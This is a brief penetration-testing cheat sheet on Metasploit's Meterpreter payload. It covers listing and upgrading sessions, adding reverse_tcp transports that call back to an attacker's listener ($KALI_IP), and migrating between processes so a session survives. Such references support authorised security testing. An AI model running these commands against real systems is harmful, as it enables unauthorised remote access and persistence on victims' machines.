Meterpreter

Meterpreter is a Metasploit attack payload that provides an interactive shell from which an attacker can explore the target machine and execute code.

Meterpreter Sessions

Display opened sessions

sessions -l -v

Go to session #1

sessions -i 1

Upgrade session #1

sessions -u 1

Obtain system information and user

List transports

Transports allow to switch protocols after a session is created. See Meterpreter Transport Control.

transport list

Add a transport

After adding the transport, background the session and start a listener using the Multi Handler.

transport add -t <transport name> -l $KALI_IP -p $LISTENER_PORT

Like windows/meterpreter/reverse_tcp payload

transport add -t reverse_tcp -l $KALI_IP -p $LISTENER_PORT

Switch to next transport

transport next
sessions
sessions -i 2

Migrating to another process

Meterpreter payloads are executed within the application process attacked. When this application is closed, the session dies. Migrate to another process after the Meterpreter session is created to avoid losing the session.
